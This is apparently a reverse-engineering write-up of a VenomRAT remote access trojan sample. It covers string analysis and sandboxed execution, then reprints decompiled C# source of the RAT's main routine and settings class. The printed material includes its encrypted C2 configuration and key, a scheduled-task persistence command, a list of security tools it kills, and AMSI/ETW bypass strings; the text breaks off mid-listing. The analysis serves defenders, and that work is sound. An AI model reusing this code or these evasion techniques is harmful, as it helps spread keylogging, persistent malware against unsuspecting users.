VenomRAT - ClientAny.exe

File Info

File Name: ClientAny.exe
SHA256: 8f5bb49ef2c1178c113d477f70856b3d59a107a6f5a551199fb5ea0be911c496
MD5: 7f0028ed74089543b62b2cf305df54b9
Size: 75776 bytes
Architecture: 32-bit
Compilation time: Wed 08 Feb 2023 22:10:28 UTC

Sample Download: Download sample
Original Download URL: https://bazaar.abuse.ch/sample/8f5bb49ef2c1178c113d477f70856b3d59a107a6f5a551199fb5ea0be911c496/

Executive Summary

The analyzed malware is a Remote Access Trojan (RAT) developed in C# and compiled as a 32-bit executable. It exhibits functionalities associated with the VenomRAT family. Upon execution, the malware attempts to achieve persistence by copying itself to the AppData directory with a predetermined name and ensuring execution at system startup. It does this either by creating a high-privilege scheduled task (if running with administrative rights) or by modifying the user’s registry Run key.

The malware initializes by decoding an AES-256 encrypted configuration embedded within itself. This configuration includes command-and-control (C2) information such as IPs, ports, and potentially a Pastebin URL that can serve as an external source for dynamic configuration. The integrity of the configuration is verified using RSA-based digital signature validation, ensuring the authenticity of the configuration data and its origin.

Once the configuration is loaded, the malware establishes a TLS-encrypted connection with the C2 server. The server certificate is validated against a preloaded trusted certificate, ensuring that the connection is only established with the correct attacker-controlled server. The malware also supports fallback and reconnection logic, and it can download and execute additional plugin modules as directed by the C2.

A key component of the malware is its keylogger. This component hooks into the low-level Windows keyboard API to intercept keystrokes. It records the keys pressed, associates them with the active window and process name, and periodically sends the captured data back to the C2. This data is stored temporarily on disk and removed after successful transmission.

The malware also includes routines for enumerating system information, including details about the CPU, RAM, GPU, installed applications, and running user processes. This data is sent to the attacker and can be used to tailor subsequent commands or payloads.

Several anti-analysis and anti-debugging mechanisms are employed to hinder detection and reverse engineering. The malware performs checks to determine whether it is running in a virtualized environment by querying the number of processor cache entries through WMI; a lower-than-expected number may indicate a sandbox or VM. It also checks whether the operating system is a Windows Server edition and uses this to avoid terminating in certain environments.

To further resist analysis, the malware includes a process killer loop that searches for and terminates known analysis, debugging, and monitoring tools. This includes processes like Task Manager, Process Hacker, Process Explorer, Regedit, and various Microsoft Defender components. This routine runs continuously to prevent the user or analyst from inspecting or disrupting its activity.

Overall, the malware combines classic RAT capabilities such as persistence, system enumeration, keystroke logging, and encrypted C2 communication with layered anti-analysis and anti-debugging techniques, allowing it to maintain control and evade detection on infected systems.

Technical Analysis Walkthrough

Basic Static Analysis

To answer these questions, a common starting point is to load the file in pestudio and use FLOSS to check the strings.
From pestudio, in the summary tab, it is possible to retrieve all the information listed in the “File Info” section above. Two pieces of information are worth noting:

1. The original file name is ClientAny.exe (see summary > names > version > original-file-name).
2. The language detected is C# (see summary > file > signature | tooling), which can significantly change how the analysis proceeds. This is because executables written with the .NET framework can have their source code easily read with tools like DnSpy. The only downside is that it is necessary to be at least a little bit familiar with the programming language to understand what is going on. Given this constraint, the analysis will continue with a standard static/dynamic approach and then move to full code analysis.

Also note that under indicators > .NET > module > name, the name of the project is Monotone, which is what is expected to appear in DnSpy.

Continuing with pestudio, in the imports section pestudio recognizes 1103 imports, and looking in the libraries section the majority of them appear to come from mscoree.dll, which is the main DLL used by the .NET framework. To get an idea of other functionalities of the sample, it is useful to see which other calls are imported from the other three libraries (user32.dll, kernel32.dll, ntdll.dll).

From the import table it is possible to observe some potential interaction with the OS. Specifically:

• The combination of CreateToolhelp32Snapshot, Process32First and Process32Next is used to enumerate the processes running in the system, often for code injection or anti-analysis, by stopping the execution if a specific tool is running. See Process Enumeration for more details.
• GetKeyState, GetWindowText and the other calls that are related to the keyboard are often used for keylogging activities.

As a final note on the imports section of pestudio, there are a few imports that have no library from which they were imported. These are probably the functions that are exposed by the C# code:

Some of the names are very telling of what they do, which gives more confidence in answering the first three questions. However, before proceeding, the FLOSS output should be reviewed.

For FLOSS, the analysis starts by running it with -n 12 to get an approximate idea of what type of strings are visible, then it is run again without filters and the focus moves to parts of the output where something might have been missed. For example, below is a partial output of FLOSS with -n 12, with some of the most revealing strings from the FLOSS STATIC STRINGS: UTF-16LE section of the output. In the middle of the output there is a list of exe that the sample might be looking for. It is common to have executables with less than 12 characters in the name, hence FLOSS is then run without filters and that area is inspected to see if the list of executables is different.

1
DataLogs.conf
2
DataLogs_keylog_offline.txt
3
DataLogs_keylog_online.txt
4
Select * from Win32_Processor
5
{0} ({1} Core)
6
NumberOfCores
7
Select * From Win32_ComputerSystem
8
TotalPhysicalMemory
9
select * from Win32_VideoController
10
DriverVersion
11
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
12
SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
13
UninstallString
14
InstallLocation
15
MM-dd HH:mm:ss
16
C://Temp//1.log
17
q8K37CrspQ1+t9ns7FUwBJCGCOq4t7gxvo9rhwzlqO2XAsRhaLRtPGnpX4MISpA25bZsLz5dCYognpQW5QPmEg==
18
e+f8i10ZnXn8+EhS2bSotaWY9dpgmq+nW35Xcli0P3ddB5WKIWKl9G5HdopYTZXGH7J3UhLvkl8uENP4vL2OEg==
19
yaXdv8wK79vHZXEtzmYJBhAtQmp/Gaf9nHVAVxGNOe3sERzkkM0w0UvIWfGMvDFZWy1VjdPRwabj/iyNDU4CVW2xTcxcVBROXWK9s0Mrfo3dg2xODghycSAyagfMUKVc
20
eKgYqOIL0Z/apslCcnl5Ra+kcNvvx7E18T8/5/4IpTbzeRZUGTHIwDZ/uR1asKVK/AMNIblodiLMc6L5fhqwbQ==
21
V2xtNGFlR3I0SVZVMW43MHlPOFdET09HMGY1NFRxZTg=
22
clQIFtQkc92phNMbP0ezjphWFVk9Jx5Z5G/WJNV/MKO9+eDjJagIODbZ+dU9QWnYXYB3wh2rNRGETdo9txeKhw==
23
YTQUllDQFThgg8G/dO1jqrAgnbQDgi0qs7QDFtIpElBFT+JRYiPkAa56IVxz77/5JztuRuxsi+/u84JTHDqhZHmu4XiFlnMUUGVl7sbRzXL3Z5CnDCPj4qXwGv/88xr97JDIM64yOzqr66pin6ZypzoCBOHnR6WwnkDHpLJ10PjEDCU/HxUGhyCFZJ40LtdA5WZ1/JjVv7vY/h9Yjluftz8t98DqtS143hdgi8Aw9+JxPC4w5tK2DMvNC5rXkmxAVW9E3or6pWqZJf8uH8FbL8KmFVRKYxdsMVdXlIcV8YvIknpjO3L1DuyoHwvAzZ77XkKsbqEhB4wqBZlAH6Um7nvIFMXfuJIMRaD6GlaN1H8wuII3o/09bvIR8kTk4vTl+4CV8IuwbF4KzZ5CrraxsNSnO7M9C47/+p1PUgAm/pI6+0PKizRQ1s9MBoafLKQkryLb49b1JnCJX99G4ipe5KYuvO56FLMZpWfOSeOiG+K0HkG7pHJYPSJj9OSn9yRfePkmZz0y4uUrMbRj4Vl+/oUJ8Gdl4TqCLTAYaxlr0LoEQlJxhYpIv5iaIszuBgNJY2vLE9Rjm7R5i8gMS/FS6npbbMkIwHIAH4pH4fZXmTnXCo+iAAN9OXnftw2netuVjUFz+dGH8j9H0sR/ifdb4wdTIvK09etBVlj7pyVu4r0LDPbHUvxQiYNCGxhuP6IrTTXhh+XAKsmyVgoQH/kc67bkkJDB2AwsArSZIYJ3BR0rr0Qa6T0skh2v6d6NZIx9uNfSqKLsDCQr4u0m3omt1YOI9CbaD5hpWzGEJq0CaYkO4PsC+zLzfUxleMPWWxSOEdLru0zmElpOe7HgUFM17Nw+PY1XRHvK42GdPI3gBlxntV6LBtFiBYPDGccoPzgD8EEU7+ne487UVAZJAm+OBe+dPeHwO5BZBAXu7m2SKaG8dFkyDWP2lWCgBh7SOqfIOEaUeSI13akt+otg7H0xOhBjw/HSlPs8k9waR/6HHDDj1dLatr8NSfW0FAJi566WGWgOrA3+BDHvfcn+0yM+AA7+6RCa62RGXddtFIE5vVfGMwWUYKFyhYzO4P9eo31h
24
Z6TvZutmHCIt77GBgYsTqLG5HOyGeCgnIenjHFDfAJzF8sV4Yt+E/5Ruk8w84iTkrcS89a9bzl1/QqWD8fEfEgikXBSv4GW9d7rfAyERrjGTrdLqcWF2SUrZEaD8aTJHyleVHfel74gzasxF/cUr3A2u69pdbTo3hEFNvp5u4PbD+ZaUi4wa5lHhwBspFr+JCHc//2h85zX6Kd4oeRyjdNdhl7hk5wXNZYBPQ9xIcbSUU52+lQAvAjfmweZolI2UZkMBS0UunGKcW+RmU5+biSI0bhxQ6ZsPz7hv1CBBCW4=
25
j367jkqRZoI4mUxxGQT2wH5xnFZE1VY5eKqC3h+XVaz5qBNg3Cpsu0e/MtZgRrYXvosL5Tiu0UYlH8Uca3RZiPH/eIxfxWQg2tZE7pY8lt8=
26
Hx34l1q8r1By6bbGYxXsp8F5XA6TzjrWDgt9sbQ9JbYnUO+cgLCgsRHCkFF3JKX10NWLah0zXTO/FSDDjMtSvA==
27
SoFEfX0M/TfZMNduUyuYiYyk58KnTIgSLdu5oEYD7vftpWwUYUbdVWx2dwjrPWB8CWr2duhBYqVqyqRxVJwD0w==
28
RurwXO7i4a91c1daSLyv5axbUwxAVu+GKOYBcv85v6yLRtfLPUxOUuNF8cz9Y1UW+MEnFIoe9BSLLaHNJyW4zA==
29
WOaq/Out8IEaCfHETOVUryn8zg98gQ2F+Wm9HWug/5Rb26VfM0fY3uG1Fdty09aBDCsF1SSTEP3Obd5uClmEpg==
30
loadofflinelog
31
keylogsetting
32
OfflineKeylog sending....
33
Plugin.Plugin
34
UmVjZWl2ZWQ=
35
/c schtasks /create /f /sc onlogon /rl highest /tn "
36
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
37
timeout 3 > NUL
38
Install Failed :
39
ProcessHacker.exe
40
MpCmdRun.exe
41
ConfigSecurityPolicy.exe
42
MSConfig.exe
43
UserAccountControlSettings.exe
44
taskkill.exe
45
\{0}\root\CIMV2
46
SELECT * FROM Win32_OperatingSystem
47
Select * from Win32_CacheMemory
48
{860BB310-5D01-11d0-BD3B-00A0C911CE86}
49
{62BE5D10-60EB-11d0-BD3B-00A0C911CE86}
50
{55272A00-42CB-11CE-8135-00AA004BB851}
51
FriendlyName
52
Perfor_mance
53
C:\Temp\client.log
54
C:\Temp\client_ex.log
55
\root\SecurityCenter2
56
Select * from AntivirusProduct
57
, Dll was not found or not loaded.
58
Failed to parse module exports.
59
, export not found.
60
Could not get the handle for the function.
61
NtProtectVirtualMemory
62
YW1zaS5kbGw=
63
AmsiScanBuffer
64
EtwEventWrite
65
masterKey can not be null or empty.
66
input can not be null.
67
Invalid message authentication code (MAC).
68
VenomRATByVenom
69
(never used) type $c1
70
(ext8,ext16,ex32) type $c7,$c8,$c9
71
OfflineKeylogger

There is a large variety of information, including:

• files that might be written:

  • DataLogs.conf,
  • DataLogs_keylog_offline.txt,
  • DataLogs_keylog_online.txt,
  • C://Temp//1.log

• queries executed in Windows, maybe via wmic to scan the system:

  • Select * from Win32_Processor,
  • Select * From Win32_ComputerSystem,
  • select * from Win32_VideoController,
  • SELECT * FROM Win32_OperatingSystem,
  • Select * from Win32_CacheMemory,
  • Select * from AntivirusProduct

• mentions of the SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ registry key, used as a persistence mechanism to execute something at startup.

• encrypted and base64 encoded strings

• a list of executables, some of which are not present in the snip above as they are less than 12 characters long, which are probably tools that the sample looks for during the anti-analysis assessment:

  • Taskmgr.exe
  • ProcessHacker.exe
  • procexp.exe
  • MSASCui.exe
  • MsMpEng.exe
  • MpUXSrv.exe
  • MpCmdRun.exe
  • NisSrv.exe
  • ConfigSecurityPolicy.exe
  • MSConfig.exe
  • Regedit.exe
  • UserAccountControlSettings.exe
  • taskkill.exe

• DOS command execution like:

  • /c schtasks /create /f /sc onlogon /rl highest /tn which creates a new task in the task scheduler.
  • timeout 3 > NUL START "" " DEL " " /f /q which is probably going to delete the original sample.

• most telling of all: VenomRATByVenom, which literally reveals that this is a VenomRAT sample, a remote access trojan.

At this point, it is possible to answer the first three questions:

The next part of the analysis will be performed both dynamically, by executing the sample and observing as much of the malware behaviour as possible, and statically, with a full code analysis. The two techniques will then be combined to answer any open questions that come up during each analysis. At the end, the malware will probably be run again in dnSpy to get some of the information that is not as easy to retrieve otherwise.

In a real scenario, the chosen approach will mostly depend on skills and requirements. If the goal is to collect IOCs from this sample, it is often sufficient to execute the malware and trace the behaviour. If the objective is to understand all the details around the sample and there is some familiarity with the programming language, opening the sample with dnSpy and looking directly at the code is more informative.

Dynamic Analysis

Before starting the analysis, it is useful to recall what is already known that might influence the observations:

• First of all, it is expected to perform anti-analysis techniques, including checking the presence of Process Hacker. This means that Process Hacker will simply not be used until there is a need to actually stop the sample from running.
• Second, the queries that are executed against the operating system are probably going to stop the sample if a device characteristic does not match, so some extra work may be needed to make the sample “happy”.

In terms of capabilities to monitor, the following are relevant:

• keylogging usually implies the creation of a temporary file where the keystrokes are saved, or sending them directly over the network. In both cases, having Wireshark enabled provides good insights.
• there are files that the sample might be creating; those warrant inspection.
• the sample will create a new scheduled task.

To limit interaction with tools that may be detected by the malware, only Procmon will be executed on Windows. Wireshark and INetSim will be running on REMnux.

The first execution is carried out as a standard user.

Standard User execution

There are no new tasks in the task scheduler, probably due to the lack of permissions.

After the execution, in Procmon, the process tree view looks like this:

Inspecting each of the subprocesses that have been invoked by the sample shows that:

• cmd.exe is executed with \WINDOWS\system32\cmd.exe /c ""C:\Users\REM\AppData\Local\Temp\tmp8A48.tmp.bat"". What is its content?
• timeout is executed with 3.
• the spawn of the new process called dadada.exe comes from "C:\Users\REM\AppData\Roaming\dadada.exe". Is it a clone of the current sample?

C:\Users\REM\AppData\Local\Temp\tmp8A48.tmp.bat can be found, but it is empty.
The SHA256 of "C:\Users\REM\AppData\Roaming\dadada.exe" is 8f5bb49ef2c1178c113d477f70856b3d59a107a6f5a551199fb5ea0be911c496, so it is just a copy.

With the process tree identified, it is useful to see what has been executed. From the list of operations that the sample might be performing, checking the registries is the easiest task, so the analysis starts from there.
In the Process Tree view, selecting the sample process and choosing “Include Subtree” filters for all the PIDs of the sample and the spawned processes. Then, under Tools > Registry Summary… it is possible to see all the registries that have been accessed by the processes. Sorting the table by the number of Writes and looking at the Path, one value looks interesting: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\dadada

This is a common path in malware since it defines applications to execute at startup. By double-clicking on the entry and going back to the Procmon main view, the content of what was written can be inspected by clicking on one of the two entries and selecting Properties. The value written is "C:\Users\REM\AppData\Roaming\dadada.exe".

The other entries are of less interest at the moment, since they are commonly used by any executable. The .NET and Cryptography registry hives can be related to any kind of operation.

In a similar way, the files that have been accessed can be reviewed using the Tools > Files Summary… menu. In the “By Folder” tab a few entries are worth looking at.

Specifically, entries under AppData. Starting from C:\Users\REM\AppData\Roaming\MyData\DataLogs.conf, a quick way to get there from Procmon is to double click on the entry in the Files Summary window, so that Procmon filters for those specific events, then from the Procmon main window, right click on the path and click “Jump To…”.

The content of the .conf file is:

1
5
2
False

which is not exactly clear so far.

The rest of the files are not currently found; it may be necessary to see whether, when running as admin, they will become available.

On the network side, looking at Wireshark, the only traffic observed is a call to paste.ee, a pastebin website, via HTTPS. This might mean that the actual configuration is coming from a paste service. This is something that can be understood more clearly from the code.

Admin User Execution

Running the sample as an admin does not make much difference, except that a new scheduled task called dadada appears:

Code Analysis

Opening the file with dnSpy shows something similar to the screenshot below:

The next step is to understand where to begin the analysis. This can be approached in 3 ways:

1. Find the Main entrypoint, which is the first part of the code that is executed by the executable, and understand the execution paths;
2. Find some classes that seem like good starting points; for example, in this case Client.Install, Client.Settings or Client.Algorithms are good starting points. The reasons they are good are different: Client.Install is a generic action that the malware is going to perform and gives good insight on the persistence mechanisms it will use, however it has dependencies with a lot of other parts of the code, so it might be difficult to understand at first. Client.Settings and Client.Algorithms have very small dependencies (number of imports of code from other parts of the exe);
3. If there is already an idea of what to look for, it is possible to go directly to the function that is likely performing that action, for example the keylogging in Client.Keylogger.

To find the Main class, the search functionality in dnSpy can be used. Click the magnifier at the top, select “Monotone” on the left side and then, in the Search bar that opened at the bottom of the screen, change the scope of the search to “Files in same folder”. Since “Monotone” was selected, the search will only be performed on this folder.

The Main entry appears in Client.Program. Double clicking on it brings the view directly to that part of the program.

The reason for starting from Client.Program and not something else is that, after a brief look, it does not seem to be heavily obfuscated, and a lot of details can already be understood from a first read. While going through the code, it becomes clearer what might be useful to investigate next.

Client > Program

The full code is:

1
using System;
2
using System.Diagnostics;
3
using System.IO;
4
using System.Net;
5
using System.Threading;
6
using System.Windows.Forms;
7
using Client.Connection;
8
using Client.Helper;
9
using Client.Install;
10

11
namespace Client
12
{
13
  public class Program
14
  {
15
    public static void Main()
16
    {
17
      Directory.CreateDirectory(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyData"));
18
      Keylogger.Params.LoadFromFile();
19
      ServicePointManager.Expect100Continue = true;
20
      ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
21
      ServicePointManager.DefaultConnectionLimit = 9999;
22
      for (int i = 0; i < Convert.ToInt32(Settings.De_lay); i++)
23
      {
24
        Thread.Sleep(1000);
25
      }
26
      if (!Settings.InitializeSettings())
27
      {
28
        Environment.Exit(0);
29
      }
30
      SetRegistry.InitRegistry();
31
      try
32
      {
33
        if (Convert.ToBoolean(Settings.An_ti))
34
        {
35
          Anti_Analysis.RunAntiAnalysis();
36
        }
37
      }
38
      catch
39
      {
40
      }
41
      A.B();
42
      try
43
      {
44
        if (!MutexControl.CreateMutex())
45
        {
46
          Environment.Exit(0);
47
        }
48
      }
49
      catch
50
      {
51
      }
52
      try
53
      {
54
        if (Convert.ToBoolean(Settings.Anti_Process))
55
        {
56
          AntiProcess.StartBlock();
57
        }
58
      }
59
      catch
60
      {
61
      }
62
      try
63
      {
64
        if (Convert.ToBoolean(Settings.BS_OD) && Methods.IsAdmin())
65
        {
66
          ProcessCritical.Set();
67
        }
68
      }
69
      catch
70
      {
71
      }
72
      try
73
      {
74
        if (Convert.ToBoolean(Settings.In_stall))
75
        {
76
          NormalStartup.Install();
77
        }
78
      }
79
      catch
80
      {
81
      }
82
      Methods.PreventSleep();
83
      try
84
      {
85
        if (Methods.IsAdmin())
86
        {
87
          Methods.ClearSetting();
88
        }
89
      }
90
      catch
91
      {
92
      }
93
      new Thread(delegate
94
      {
95
        for (;;)
96
        {
97
          try
98
          {
99
            if (!ClientSocket.IsConnected)
100
            {
101
              Program.StopHVNC();
102
              ClientSocket.Reconnect();
103
              ClientSocket.InitializeClient();
104
            }
105
          }
106
          catch
107
          {
108
          }
109
          Thread.Sleep(3000);
110
        }
111
      }).Start();
112
      Keylogger.Run();
113
      Application.Run();
114
    }
115

116
    public static void StopHVNC()
117
    {
118
      foreach (Process process in Process.GetProcessesByName("cvtres"))
119
      {
120
        process.Kill();
121
        process.WaitForExit();
122
        process.Dispose();
123
      }
124
    }
125
  }
126
}

Starting from the imports, there are System and Client imports. The System imports are from the C# standard library and are built-in in the language, while the Client imports are classes defined in other parts of the sample.

The Main method starts by creating the %AppData%/Roaming/MyData directory:

17
Directory.CreateDirectory(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyData"));

This is followed by a very interesting call, which seems to imply that all keylogging functionality is controlled by a settings file. This is definitely something to look into more next, to see what can be configured and how.

18
Keylogger.Params.LoadFromFile();

Moving on, there are a couple of lines of connection configuration, probably to determine how to communicate with the exfiltration server.

Then a delay is executed, potentially to throw off an analyst. The trick here is to wait for a certain amount of minutes, and in certain cases an analyst might be closing the analysis tools, like Procmon, before the delay elapses. The way that it is implemented here is by taking a Settings.De_lay value, converting it to a number and multiplying it by 1000 milliseconds. This is the time the program will sleep for before continuing:

22
for (int i = 0; i < Convert.ToInt32(Settings.De_lay); i++)
23
{
24
    Thread.Sleep(1000);
25
}

Next, there is another very informative set of instructions. The if statement is telling us that if the settings are not initialized properly, the execution terminates. This is the third time that the settings are retrieved, and they are essential for the execution to continue, suggesting that Client.Settings should be analyzed as the next step.

26
if (!Settings.InitializeSettings())
27
{
28
    Environment.Exit(0);
29
}

Some registries are defined at line 30, although it is not yet clear which ones.

30
SetRegistry.InitRegistry();

Jumping slightly ahead for a moment, at line 41 there is the call:

41
A.B();

In dnSpy, hovering over A shows that it comes from Client.Helpers. This method name in itself does not reveal much, so it can be skipped for now.

This is followed by a mutex check to see if the client has been infected already. If yes, the execution is terminated. See Mutex for more details.

44
if (!MutexControl.CreateMutex())
45
{
46
    Environment.Exit(0);
47
}

Lines 35 and 56 are both checks to see if the process is being analyzed in any way. Note that these blocks and the ones below all have an empty catch statement. This means that the malware tries to perform these checks but if it fails for any reason (maybe a bug in the code or some weirdness in the client), it keeps going with the infection without any notification to the user with error messages or pop-ups.

31
try
32
{
33
    if (Convert.ToBoolean(Settings.An_ti))
34
    {
35
        Anti_Analysis.RunAntiAnalysis();
36
    }
37
}
38
catch
39
{
40
}
13 collapsed lines
41
A.B();
42
try
43
{
44
    if (!MutexControl.CreateMutex())
45
    {
46
        Environment.Exit(0);
47
    }
48
}
49
catch
50
{
51
}
52
try
53
{
54
    if (Convert.ToBoolean(Settings.Anti_Process))
55
    {
56
        AntiProcess.StartBlock();
57
    }
58
}

After these, the following code is executed:

64
if (Convert.ToBoolean(Settings.BS_OD) && Methods.IsAdmin())
65
{
66
    ProcessCritical.Set();
67
}

It is not entirely clear what this means at the moment; ProcessCritical comes from Client.Helpers but is not very explicit in what it is about. It can be revisited later.

Once all the checks and safeguards are passed, the installation is performed:

74
if (Convert.ToBoolean(Settings.In_stall))
75
{
76
    NormalStartup.Install();
77
}

The installation will probably be the next class to look at after the settings, as it is likely the core of the persistence mechanisms.

Moving on, there are two interesting calls. The first one might somehow block the client from going to sleep, probably to continue the exfiltration without interruptions, and the second will clear some settings if the user is admin, though it is not yet known which settings.

82
Methods.PreventSleep();
83
try
84
{
85
    if (Methods.IsAdmin())
86
    {
87
        Methods.ClearSetting();
88
    }
89
}

Note that there is a new thread being spawned, which loops forever, sleeping 3000 milliseconds between each iteration and trying to connect to a connection defined in Client.Connection. The loop also performs the StopHVNC call, which stops the HVNC component, generally used for remote control of the machine (see reference 1 for more info on this technique). However, it is not immediately obvious where the remote connection points to or where it is enabled.

93
new Thread(delegate
94
{
95
    for (;;)
96
    {
97
        try
98
        {
99
            if (!ClientSocket.IsConnected)
100
            {
101
                Program.StopHVNC();
102
                ClientSocket.Reconnect();
103
                ClientSocket.InitializeClient();
104
            }
105
        }
106
        catch
107
        {
108
        }
109
        Thread.Sleep(3000);
110
    }
111
}).Start();

At this point, the infection is complete and the client can start running the keylogger module and the Application, whose purpose is not yet known.

112
Keylogger.Run();
113
Application.Run();

Client > Settings

As mentioned before, a new possible class to analyze is the Settings class. This class defines all the configuration needed for the sample to function properly. The full code is:

1
using System;
2
using System.Security.Cryptography;
3
using System.Security.Cryptography.X509Certificates;
4
using System.Text;
5
using Client.Algorithm;
6
using Client.Helper;
7
using Params;
8

9
namespace Client
10
{
11
  public static class Settings
12
  {
13
    public static bool InitializeSettings()
14
    {
15
      bool flag;
16
      try
17
      {
18
        Settings.Key = Encoding.UTF8.GetString(Convert.FromBase64String(Settings.Key));
19
        Settings.aes256 = new Aes256(Settings.Key);
20
        Settings.Por_ts = Settings.aes256.Decrypt(Settings.Por_ts);
21
        Settings.Hos_ts = Settings.aes256.Decrypt(Settings.Hos_ts);
22
        Settings.Ver_sion = Settings.aes256.Decrypt(Settings.Ver_sion);
23
        Settings.In_stall = Settings.aes256.Decrypt(Settings.In_stall);
24
        Settings.MTX = Settings.aes256.Decrypt(Settings.MTX);
25
        Settings.Paste_bin = Settings.aes256.Decrypt(Settings.Paste_bin);
26
        Settings.An_ti = Settings.aes256.Decrypt(Settings.An_ti);
27
        Settings.Anti_Process = Settings.aes256.Decrypt(Settings.Anti_Process);
28
        Settings.BS_OD = Settings.aes256.Decrypt(Settings.BS_OD);
29
        Settings.Group = Settings.aes256.Decrypt(Settings.Group);
30
        Settings.Hw_id = HwidGen.HWID();
31
        Settings.Server_signa_ture = Settings.aes256.Decrypt(Settings.Server_signa_ture);
32
        Settings.Server_Certificate = new X509Certificate2(Convert.FromBase64String(Settings.aes256.Decrypt(Settings.Certifi_cate)));
33
        flag = Settings.VerifyHash();
34
      }
35
      catch
36
      {
37
        flag = false;
38
      }
39
      return flag;
40
    }
41

42
    private static bool VerifyHash()
43
    {
44
      bool flag;
45
      try
46
      {
47
        RSACryptoServiceProvider rsacryptoServiceProvider = (RSACryptoServiceProvider)Settings.Server_Certificate.PublicKey.Key;
48
        using (SHA256Managed sha256Managed = new SHA256Managed())
49
        {
50
          flag = rsacryptoServiceProvider.VerifyHash(sha256Managed.ComputeHash(Encoding.UTF8.GetBytes(Settings.Key)), CryptoConfig.MapNameToOID("SHA256"), Convert.FromBase64String(Settings.Server_signa_ture));
51
        }
52
      }
53
      catch (Exception)
54
      {
55
        flag = false;
56
      }
57
      return flag;
58
    }
59

60
    public static KeylogParams keylogparam = new KeylogParams();
61

62
    public static string Por_ts = "q8K37CrspQ1+t9ns7FUwBJCGCOq4t7gxvo9rhwzlqO2XAsRhaLRtPGnpX4MISpA25bZsLz5dCYognpQW5QPmEg==";
63

64
    public static string Hos_ts = "e+f8i10ZnXn8+EhS2bSotaWY9dpgmq+nW35Xcli0P3ddB5WKIWKl9G5HdopYTZXGH7J3UhLvkl8uENP4vL2OEg==";
65
    public static string Ver_sion = "yaXdv8wK79vHZXEtzmYJBhAtQmp/Gaf9nHVAVxGNOe3sERzkkM0w0UvIWfGMvDFZWy1VjdPRwabj/iyNDU4CVW2xTcxcVBROXWK9s0Mrfo3dg2xODghycSAyagfMUKVc";
66

67
    public static string In_stall = "eKgYqOIL0Z/apslCcnl5Ra+kcNvvx7E18T8/5/4IpTbzeRZUGTHIwDZ/uR1asKVK/AMNIblodiLMc6L5fhqwbQ==";
68

69
    public static string Install_Folder = "%AppData%";
70
    public static string Install_File = "dadada.exe";
71

72
    public static string Key = "V2xtNGFlR3I0SVZVMW43MHlPOFdET09HMGY1NFRxZTg=";
73

74
    public static string MTX = "clQIFtQkc92phNMbP0ezjphWFVk9Jx5Z5G/WJNV/MKO9+eDjJagIODbZ+dU9QWnYXYB3wh2rNRGETdo9txeKhw==";
75
    public static string Certifi_cate = "YTQUllDQFThgg8G/dO1jqrAgnbQDgi0qs7QDFtIpElBFT+JRYiPkAa56IVxz77/5JztuRuxsi+/u84JTHDqhZHmu4XiFlnMUUGVl7sbRzXL3Z5CnDCPj4qXwGv/88xr97JDIM64yOzqr66pin6ZypzoCBOHnR6WwnkDHpLJ10PjEDCU/HxUGhyCFZJ40LtdA5WZ1/JjVv7vY/h9Yjluftz8t98DqtS143hdgi8Aw9+JxPC4w5tK2DMvNC5rXkmxAVW9E3or6pWqZJf8uH8FbL8KmFVRKYxdsMVdXlIcV8YvIknpjO3L1DuyoHwvAzZ77XkKsbqEhB4wqBZlAH6Um7nvIFMXfuJIMRaD6GlaN1H8wuII3o/09bvIR8kTk4vTl+4CV8IuwbF4KzZ5CrraxsNSnO7M9C47/+p1PUgAm/pI6+0PKizRQ1s9MBoafLKQkryLb49b1JnCJX99G4ipe5KYuvO56FLMZpWfOSeOiG+K0HkG7pHJYPSJj9OSn9yRfePkmZz0y4uUrMbRj4Vl+/oUJ8Gdl4TqCLTAYaxlr0LoEQlJxhYpIv5iaIszuBgNJY2vLE9Rjm7R5i8gMS/FS6npbbMkIwHIAH4pH4fZXmTnXCo+iAAN9OXnftw2netuVjUFz+dGH8j9H0sR/ifdb4wdTIvK09etBVlj7pyVu4r0LDPbHUvxQiYNCGxhuP6IrTTXhh+XAKsmyVgoQH/kc67bkkJDB2AwsArSZIYJ3BR0rr0Qa6T0skh2v6d6NZIx9uNfSqKLsDCQr4u0m3omt1YOI9CbaD5hpWzGEJq0CaYkO4PsC+zLzfUxleMPWWxSOEdLru0zmElpOe7HgUFM17Nw+PY1XRHvK42GdPI3gBlxntV6LBtFiBYPDGccoPzgD8EEU7+ne487UVAZJAm+OBe+dPeHwO5BZBAXu7m2SKaG8dFkyDWP2lWCgBh7SOqfIOEaUeSI13akt+otg7H0xOhBjw/HSlPs8k9waR/6HHDDj1dLatr8NSfW0FAJi566WGWgOrA3+BDHvfcn+0yM+AA7+6RCa62RGXddtFIE5vVfGMwWUYKFyhYzO4P9eo31h";
76

77
    public static string Server_signa_ture = "Z6TvZutmHCIt77GBgYsTqLG5HOyGeCgnIenjHFDfAJzF8sV4Yt+E/5Ruk8w84iTkrcS89a9bzl1/QqWD8fEfEgikXBSv4GW9d7rfAyERrjGTrdLqcWF2SUrZEaD8aTJHyleVHfel74gzasxF/cUr3A2u69pdbTo3hEFNvp5u4PbD+ZaUi4wa5lHhwBspFr+JCHc//2h85zX6Kd4oeRyjdNdhl7hk5wXNZYBPQ9xIcbSUU52+lQAvAjfmweZolI2UZkMBS0UunGKcW+RmU5+biSI0bhxQ6ZsPz7hv1CBBCW4=";
78

79
    public static X509Certificate2 Server_Certificate;
80
    public static Aes256 aes256;
81
    public static string Paste_bin = "j367jkqRZoI4mUxxGQT2wH5xnFZE1VY5eKqC3h+XVaz5qBNg3Cpsu0e/MtZgRrYXvosL5Tiu0UYlH8Uca3RZiPH/eIxfxWQg2tZE7pY8lt8=";
82
    public static string BS_OD = "Hx34l1q8r1By6bbGYxXsp8F5XA6TzjrWDgt9sbQ9JbYnUO+cgLCgsRHCkFF3JKX10NWLah0zXTO/FSDDjMtSvA==";
83
    public static string Hw_id = null;
84
    public static string De_lay = "1";
85
    public static string Group = "SoFEfX0M/TfZMNduUyuYiYyk58KnTIgSLdu5oEYD7vftpWwUYUbdVWx2dwjrPWB8CWr2duhBYqVqyqRxVJwD0w==";
86
